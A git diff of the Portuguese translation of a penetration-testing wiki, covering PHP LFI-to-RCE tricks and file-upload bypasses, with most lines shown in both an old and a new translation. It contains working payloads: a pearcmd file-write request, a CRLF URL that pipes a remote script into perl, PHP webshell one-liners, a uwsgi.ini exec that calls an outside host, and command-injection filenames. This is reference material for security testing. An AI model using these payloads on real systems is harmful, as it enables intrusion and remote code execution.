As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
O seguinte abusa de uma CRLF vuln para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
O seguinte explora uma vuln CRLF para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
Se você encontrar uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
{{#ref}}
@ -639,28 +639,28 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Se você encontrou uma **Local File Inclusion** e **puder exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**:
Se você encontrar uma **Local File Inclusion** e **conseguir exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com esta **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### Via espera eterna + bruteforce
Se você puder abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force filenames durante horas** para encontrar o arquivo temporário:
Se você puder abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, você pode então tentar por força bruta os nomes de arquivo durante horas para encontrar o arquivo temporário:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### Para Fatal Error
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo uma 2 vezes para lançar esse erro).
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para disparar esse erro).
**Não sei quão útil isso é, mas pode ser.**\
_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
_Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

18
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -5,9 +5,9 @@
## Introdução
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** it into a file.
Basicamente o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada**, fornecendo o payload desejado que será **interpretado por `include`**.
Basicamente o objetivo do script é **gerar um Base64** string no **início** do arquivo que será **finalmente decodificada** fornecendo o payload desejado que será **interpreted by `include`**.
Os fundamentos para fazer isso são:
@ -16,18 +16,18 @@ Os fundamentos para fazer isso são:
O loop para gerar conteúdo arbitrário é:
1. prepend `\x1b$)C` to our string as described above
2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
3. base64-decode and base64-encode the string which will remove any garbage in between
4. Go back to 1 if the base64 we want to construct isn't finished yet
5. base64-decode to get our php code
1. prefixar `\x1b$)C` à nossa string como descrito acima
2. aplicar alguma cadeia de conversões iconv que deixe nosso base64 inicial intacto e converta a parte que acabámos de prefixar para alguma string onde o único caractere base64 válido seja a próxima parte do nosso código php codificado em base64
3. base64-decode e base64-encode a string, o que removerá qualquer lixo no meio
4. Voltar ao passo 1 se o base64 que queremos construir ainda não estiver terminado
5. base64-decode para obter nosso código php
> [!WARNING]
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
## Como também adicionar sufixos aos dados resultantes
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. Isto é ótimo caso você precise que a saída tenha algum formato específico (como json ou talvez adicionar alguns PNG magic bytes)
## Ferramentas Automáticas
@ -96,7 +96,7 @@ print(r.text)
```
### Melhorias
O script anterior está limitado aos caracteres base64 necessários para esse payload. Portanto, criei meu próprio script para **bruteforce all the base64 characters**:
O script anterior está limitado aos caracteres base64 necessários para esse payload. Portanto, criei meu próprio script para **bruteforce todos os caracteres base64**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',

180
src/pentesting-web/file-upload/README.md
View File

@ -1,8 +1,8 @@
# Upload de Arquivos
# Envio de Arquivos
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
## Metodologia Geral de Upload de Arquivos
Outras extensões úteis:
@ -15,38 +15,38 @@ Outras extensões úteis:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Contornar verificações de extensões de arquivo
1. Se aplicável, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._
2. Verifique **adicionar uma extensão válida antes** da extensão de execução (use as extensões anteriores também):
- _file.png.php_
1. Se aplicável, verifique as extensões anteriores. Teste também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._
2. Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também):
- _file.png.php_
- _file.png.Php5_
3. Tente adicionar **caracteres especiais no final**. Você pode usar Burp para **bruteforcear** todos os caracteres **ascii** e **Unicode**. (Nota: você também pode tentar usar as **extensões** mencionadas anteriormente)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas anteriormente_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. Tente contornar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicação** da **extensão** ou **adicionando lixo** (bytes **null**) entre extensões. _Você também pode usar as extensões anteriores para preparar um payload melhor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
4. Tente contornar as proteções **enganando o parser de extensão** do lado servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Adicione **outra camada de extensões** no teste anterior:
- _file.png.jpg.php_
5. Adicione **outra camada de extensões** ao teste anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Tente colocar a **extensão executável antes** da extensão válida e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão **.php**, mas **não necessariamente terminando em .php**, executará código):
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão .php, mesmo não terminando em .php, irá executar código):
- _ex: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg”). Esse arquivo pode ser editado mais tarde usando outras técnicas como seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”)
8. Tente romper os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado mais tarde usando outras técnicas, como usando seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”)
8. Tente exceder os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### Contornar Content-Type, Magic Number, Compressão & Redimensionamento
- Bypass checks de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
- Contorne verificações de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass de verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
- Contorne checagem de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou você também pode **introduzir o payload diretamente** em uma imagem:\
` ` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Se **compressão** estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- Se **compressão está sendo aplicada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Porém, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. Contudo, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- Outra técnica para fazer um payload que **sobrevive a um redimensionamento da imagem**, usando a função PHP-GD `thumbnailImage`. Entretanto, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Outras técnicas para verificar
- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão).
- Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor.
- **Possível divulgação de informações**:
- **Possível divulgação de informação**:
1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já exista**
3. Fazer upload de um arquivo com **"." , "..” ou "…” como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os uploads em "/www/uploads/" a filename "." criará um arquivo chamado "uploads" em "/www/".
4. Faça upload de um arquivo que não possa ser deletado facilmente, como **"…:.jpg”** em **NTFS**. (Windows)
5. Faça upload de um arquivo no **Windows** com caracteres inválidos como `|<>*?”` no nome. (Windows)
6. Faça upload de um arquivo no **Windows** usando nomes reservados (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Tente também fazer upload de um executável (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
3. Fazer upload de um arquivo com **".", "..", ou "..." como nome**. Por exemplo, no Apache no **Windows**, se a aplicação salva os arquivos enviados em "/www/uploads/", o arquivo com nome "." vai criar um arquivo chamado "uploads" em "/www/".
4. Fazer upload de um arquivo que possa não ser excluído facilmente como **"…:.jpg”** no **NTFS**. (Windows)
5. Fazer upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
6. Fazer upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, e COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.
### Special extension tricks
### Truques com extensões especiais
Se você estiver tentando fazer upload de arquivos para um **PHP server**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se você estiver tentando fazer upload de arquivos para um **ASP server**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Se você está tentando enviar arquivos para um servidor **PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se você está tentando enviar arquivos para um servidor **ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**.
A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**.
## **Jetty RCE**
Se você conseguir fazer upload de um arquivo XML em um servidor Jetty pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem abaixo, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere a shell!
Se você consegue fazer upload de um arquivo XML em um servidor Jetty você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pela shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Para uma exploração detalhada dessa vulnerabilidade confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Para uma exploração detalhada desta vulnerabilidade verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI usam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado.
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', usado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado.
Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, mostrando vários esquemas:
Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários esquemas:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve ser configurado para auto-reload. O recurso auto-reload, se habilitado, recarrega o arquivo em intervalos especificados ao detectar mudanças.
É crucial entender a natureza permissiva da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
## **wget Upload de Arquivos/Truque SSRF**
## **wget File Upload/SSRF Trick**
Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e em que você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\
O **comprimento máximo** de um **nome de arquivo** no **linux** é **255**, entretanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, esse nome de arquivo irá **bypass** a **verificação** (pois, neste exemplo, **".gif"** é uma extensão **válida**), mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\
A **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então wget baixe o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**.
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters and Bug Hunters na testagem de mecanismos de upload de arquivos. Ela utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters a testar mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
### Corrupting upload indices with snprintf quirks (historical)
Alguns legacy upload handlers que usam `snprintf()` ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume um formato estrito (por exemplo, tratando-o como um upload multi-file e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases antigas.
Alguns handlers de upload legados que usam `snprintf()` ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamentos no comportamento de `snprintf()`, um upload cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado servidor, confundindo a lógica que assume uma forma estrita (por exemplo, tratando-o como um upload multi-file e tomando caminhos inseguros). Embora seja raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e código legado.
## De upload de arquivos para outras vulnerabilidades
## From File upload to other vulnerabilities
- Defina **filename** para `../../../tmp/lol.png` e tente conseguir um **path traversal**
- Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir uma **SQL injection**
- Defina **filename** para `<svg onload=alert(document.domain)>` para conseguir um **XSS**
- Defina **filename** para `; sleep 10;` para testar alguma command injection (more [command injections tricks here](../command-injection.md))
- Defina **filename** como `../../../tmp/lol.png` e tente alcançar um **path traversal**
- Defina **filename** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **SQL injection**
- Defina **filename** como `<svg onload=alert(document.domain)>` para alcançar um **XSS**
- Defina **filename** como `; sleep 10;` para testar alguma command injection (mais [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Tente **different svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se você puder **indicar o web server para catch an image from a URL** você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **saved** em algum site **public**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**.
- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se você puder **indicar ao servidor web para capturar uma imagem a partir de uma URL** você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar algum PDF que execute JS arbitrário seguindo as indicações dadas.
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content para verificar se o servidor possui algum **antivirus**
- Verifique se há algum **size limit** ao fazer upload de arquivos
- PDFs especialmente criados para XSS: A [página a seguir apresenta como **injetar dados em PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, pode preparar um PDF que execute JS arbitrário seguindo as indicações dadas.
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
- Verifique se existe algum **limite de tamanho** ao enviar arquivos
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Aqui vai uma lista top 10 de coisas que você pode conseguir fazendo upload (de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -204,28 +204,28 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magic Header Bytes
## Bytes Mágicos do Cabeçalho
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
## Zip/Tar File Automatically decompressed Upload
## Upload de Zip/Tar automaticamente descomprimido
Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas:
### Symlink
Faça upload de um arquivo que contenha soft links para outros arquivos; ao acessar os arquivos descomprimidos, você irá acessar os arquivos linkados:
